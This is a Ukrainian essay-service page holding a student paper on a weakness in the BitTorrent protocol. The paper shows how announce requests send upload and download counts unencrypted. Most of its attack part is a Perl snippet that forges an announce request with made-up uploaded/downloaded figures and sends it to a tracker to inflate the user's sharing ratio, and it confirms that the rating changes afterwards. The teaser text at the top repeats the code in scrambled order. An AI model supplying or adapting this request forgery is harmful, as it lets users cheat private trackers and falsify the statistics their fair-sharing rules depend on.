Допомога у написанні освітніх робіт...
Допоможемо швидко та з гарантією якості!

Вразливість протоколу BitTorrent

РефератДопомога в написанніДізнатися вартістьмоєї роботи

Тепер можна перевірити у профілі на трекер-системі свій рейтинг — він змінився. Request.= «User-Agent: uTorrent/1750 «; Request.= «Accept-Encoding: gzip «; My @r = $info_hash =~ /(.{1,2})/g; Request.= «Host: $host:$port «; Request.= «Connection: Close «; User-Agent: uTorrent/1600. Info_hash = «%». $info; Accept-Encoding: gzip. Print $sock $request; Print $sock $request; Info = join ('%',@r); My… Читати ще >

Вразливість протоколу BitTorrent (реферат, курсова, диплом, контрольна)

Спробуємо розібрати досить значну вразливість даного протоколу. Вона не порушує роботу ні сервера, ні клієнта, але все ж вона досить кардинально впливає на принцип «ти — мені, я — тобі», що є основою при роздачі файлів з використанням вищенаведеного протоколу. Отже, спробуємо спочатку розібрати http-заголовок більшої кількості BitTorrent-клієнтів:

GET announce. php?info_hash=%8bz%0d%9b%93%ac%7d%d0%90%60r%03%1b%2b%89%60p%08%96%2e&peer_id=-UT1600-%da%81%bc%ce4%9c%a0%c1k%81%a7%f9&port=6881&uploaded=35 302 368&downloaded=54 454 366 434&left=177 313 792&key=F53CB1E7&numwant=200&compact=1&no_peer_id=1 HTTP/1.1.

Host: myhost.com.

User-Agent: uTorrent/1600.

Accept-Encoding: gzip.

Connection: Close.

Лістинг 1.0.

Як можна побачити, основні ключові параметри передаються у відкритому вигляді, отже цим можна скористуватися. Підставив свої параметри у заголовок та передав його в попередньо відкритий з трекером сокет, зробимо конвертацію хеша файла до прийнятого у трекинговій системі виду даних:

my @r = $info_hash =~ /(.{1,2})/g;

$info = join ('%',@r);

$info_hash = «%». $info;

my $request = «» ;

$request.= «GET /announce.php?passkey=$passkey&info_hash=$info_hash&peer_id=-UT1750-%fa%91%a4IE%22ys%fb%3cCc&port=6881&uploaded=$uploaded&downloaded=$downloaded&left=1 037 668 352&key=E4DC5ED5&event=started&numwant=200&compact=1&no_peer_id=1 HTTP/1.1 «;

$request.= «Host: $host:$port «;

$request.= «User-Agent: uTorrent/1750 «;

$request.= «Accept-Encoding: gzip «;

$request.= «Connection: Close «;

print $sock $request;

print $sock $request;

Лістинг 2.0.

Тепер можна перевірити у профілі на трекер-системі свій рейтинг — він змінився.

Показати весь текст
Заповнити форму поточною роботою